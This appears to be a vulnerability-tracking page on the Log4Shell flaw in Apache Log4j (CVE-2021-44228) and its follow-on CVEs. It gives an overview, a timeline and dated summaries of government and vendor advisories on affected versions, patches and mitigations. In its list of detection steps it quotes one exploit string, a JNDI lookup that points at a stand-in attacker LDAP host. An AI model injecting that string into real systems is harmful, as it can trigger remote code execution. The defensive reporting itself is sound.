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A critical vulnerability in Apache Log4j 2, tracked as CVE-2021-44228, allows unauthenticated remote code execution through abuse of the library’s JNDI functionality. Affected versions include 2.0-beta9 through 2.14.1, where attacker-controlled input in log messages, configuration, or parameters can trigger lookups to malicious LDAP and related endpoints, potentially leading to full server compromise, data exposure, malware deployment, and service disruption. CISA described the flaw as a severe, widespread risk because Log4j is embedded across countless enterprise applications and services.
Apache and government cybersecurity authorities urged organizations to rapidly identify all direct and transitive uses of Log4j, upgrade to 2.15.0 or later, and apply mitigations where immediate patching is not possible. Recommended defensive steps included disabling message lookups, removing the JndiLookup class, monitoring logs for exploit strings such as ${jndi:ldap://attacker.com/a}, hardening internet-exposed systems, and isolating affected hosts while resetting credentials on any servers suspected of compromise.
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7 events from the most recent confirmed update back to the earliest known activity.
CVE-2021-45046 was re-scored from CVSS 3.7 to 9.0 after analysis found that specially crafted payloads could cause denial of service and, in limited configurations, remote code execution. The finding showed that the formatMsgNoLookups mitigation was insufficient for this related Log4j flaw.
A new vulnerability, CVE-2021-45046, was discovered affecting certain non-default configurations of Apache Log4j 2.15.0 after researchers bypassed the earlier fix. The issue could let attackers use a JNDI lookup pattern to trigger a denial-of-service condition, prompting Apache to move to Log4j 2.16.0.
Malaysia's NC4 issued an alert warning that CVE-2021-44228 could lead to complete server takeover, information leakage, malware infection, and service disruption. The advisory recommended upgrading to Log4j 2.15.0 or applying mitigations such as disabling message lookups or removing the JndiLookup class.
CISA published a statement from Director Jen Easterly addressing the Log4j vulnerability and emphasizing its seriousness. The statement marked an official U.S. government response to the emerging risk posed by widespread exploitation potential.
CISA added CVE-2021-44228 to its Known Exploited Vulnerabilities catalog, identifying exploitation as active and automatable with total technical impact. CISA also recorded known ransomware-campaign use and directed affected federal agencies to apply updates or remove affected assets from their networks.
The Apache Software Foundation published the CVE-2021-44228 record for the Log4j2 JNDI vulnerability, documenting arbitrary code execution risk in log4j-core and identifying affected versions and exceptions. The record also credits Chen Zhaojun of the Alibaba Cloud Security Team with discovering the issue.
A critical Apache Log4j 2 vulnerability, CVE-2021-44228, was publicly disclosed. The flaw affects Log4j 2 versions 2.0-beta9 through 2.14.1 and can enable unauthenticated remote code execution via JNDI lookups.
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A critical remote code execution flaw in Apache Log4j, tracked as **`CVE-2021-44228`** and widely known as **Log4Shell**, exposed a vast range of Java applications and services to unauthenticated compromise through the library’s JNDI lookup feature. Security reporting said the bug affected Log4j versions **`2.0-beta9` through `2.14.1`**, with early warnings surfacing through attacks against Minecraft servers before researchers and vendors confirmed broader exposure across enterprise software, cloud services, and Apache frameworks including Struts2, Solr, Druid, Flink, and Kafka. Researchers also warned that exploitation could lead not only to remote code execution but also to leakage of sensitive environment data such as cloud credentials and developer secrets. Exploit code was released publicly and was quickly followed by heavy Internet-wide scanning and attack activity, including targeting of **VMware vCenter Server**, where VMware confirmed exploitation attempts in the wild and urged immediate mitigation. **CISA** described the flaw as one of the most serious vulnerabilities in recent memory and warned that **hundreds of millions of devices** could be affected, with likely follow-on abuse by cryptominers, ransomware operators, and other threat actors. Apache responded with a series of Log4j updates, including releases such as **`2.12.2`**, **`2.12.3`**, **`2.12.4`**, and **`2.3.1`**, while defenders published detection content and scanning tools as organizations raced to identify vulnerable systems and reduce exposure.
Aug 28, 2026
Apache Log4j's initial fix for **Log4Shell** proved incomplete, as version `2.15.0` remained vulnerable to **CVE-2021-45046** under certain non-default but realistic configurations. Security reports said attackers could bypass the localhost-only JNDI restriction introduced in `2.15.0` with a crafted LDAP URI, enabling remote code execution or sensitive data exfiltration when lookups were enabled, specific Pattern Layout Context Lookup settings were used, or applications logged attacker-controlled input through `Logger.printf` and related paths. Apache responded by hardening Log4j further in `2.16.0`, disabling JNDI by default and requiring explicit opt-in for users who still needed it. Advisories from Snyk and others urged organizations to upgrade beyond `2.15.0` immediately, or remove the `JndiLookup` class from affected releases as a temporary mitigation, while the broader Log4j incident continued to evolve with later fixes for additional flaws including `CVE-2021-45105` and `CVE-2021-44832`.
Jun 29, 2026
The Dutch National Cyber Security Centre (NCSC) issued a **HIGH/HIGH** warning for the Apache Log4j/Log4Shell flaws, led by remote-code-execution vulnerabilities including `CVE-2021-44228` and `CVE-2021-45046`. Applications that log attacker-controlled input can allow remote execution with web-server privileges, creating a material risk of major disruption and ransomware. Public exploit techniques, Log4j’s deep presence in third-party products, and incomplete asset visibility made vulnerable deployments difficult to identify; the NCSC reported limited active abuse but expected continued scanning and targeted attacks. Organizations were urged to inventory direct and supply-chain use of Log4j 2, promptly apply vendor patches, and isolate, mitigate, or disable unpatchable internet-facing systems that process untrusted input. The NCSC advised prioritizing versions affected by the earlier RCE flaws—`2.0-beta9` through `2.12.1` and `2.13.0` through `2.15.0`—and updating from `2.15` to `2.16` and subsequently to current Apache releases, including `2.17.0` where applicable for later issues such as `CVE-2021-45105`. It also called for log review and threat hunting from at least 1 December, forensic preservation, tested offline backups, segmentation, restricted outbound access, and use of its GitHub repository for affected-product tracking, indicators, detection rules, scanning, and mitigation guidance.
Sep 3, 2026